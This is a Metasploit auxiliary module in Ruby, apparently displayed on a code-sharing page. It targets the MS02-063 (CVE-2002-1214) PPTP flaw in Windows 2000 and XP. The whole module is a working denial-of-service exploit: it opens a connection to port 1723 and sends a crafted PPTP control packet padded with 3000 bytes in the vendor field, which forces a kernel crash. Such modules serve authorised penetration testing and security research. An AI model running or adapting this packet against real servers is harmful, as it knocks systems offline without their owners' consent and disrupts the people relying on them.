Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Tcp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'		=> 'MS02-063 PPTP Malformed Control Data Kernel Denial of Service',
13
      'Description'	=> %q{
14
      This module exploits a kernel based overflow when sending abnormal PPTP Control Data
15
      packets	to Microsoft Windows 2000 SP0-3 and XP SP0-1 based PPTP RAS servers
16
      (Remote Access Services). Kernel memory is overwritten resulting in a BSOD.
17
      Code execution may be possible however this module is only a DoS.
18
      },
19
      'Author' 	=> [ 'aushack' ],
20
      'License'       => MSF_LICENSE,
21
      'References'    =>
22
      [
23
        [ 'BID', '5807' ],
24
        [ 'CVE', '2002-1214' ],
25
        [ 'OSVDB', '13422' ],
26
        [ 'MSB', 'MS02-063' ],
27
      ],
28
      'DisclosureDate' => '2002-09-26'))
29

30
      register_options(
31
      [
32
        Opt::RPORT(1723),
33
      ])
34
  end
35

36
  def run
37
    connect
38

39
    # Fields borrowed from Wireshark :)
40
    sploit = "\x00\x9c" # length
41
    sploit << "\x00\x01" # control message
42
    sploit << "\x1a\x2b\x3c\x4d" # cookie
43
    sploit << "\x00\x01" # start control connection req
44
    sploit << "\x00\x00" # reserved
45
    sploit << "\x01\x00" # protocol version
46
    sploit << "\x00\x00" # reserved
47
    sploit << "\x00\x03" # framing capabilities
48
    sploit << "\x00\x00\x00\x02" # bearer capabilities
49
    sploit << "\xff\xff" # max channels
50
    sploit << "\x0a\x28" # firmware revision
51
    sploit << "\x00\x01" # Hostname
52
    sploit << "A" * 3000 # Vendor - trigger vuln
53

54
    print_status("Sending PPTP DoS Packet...")
55

56
    sock.put(sploit)
57

58
    print_status("Packet sent. Kernel should halt on a Stop Error (BSOD).")
59

60
    disconnect
61
  end
62
end
63

64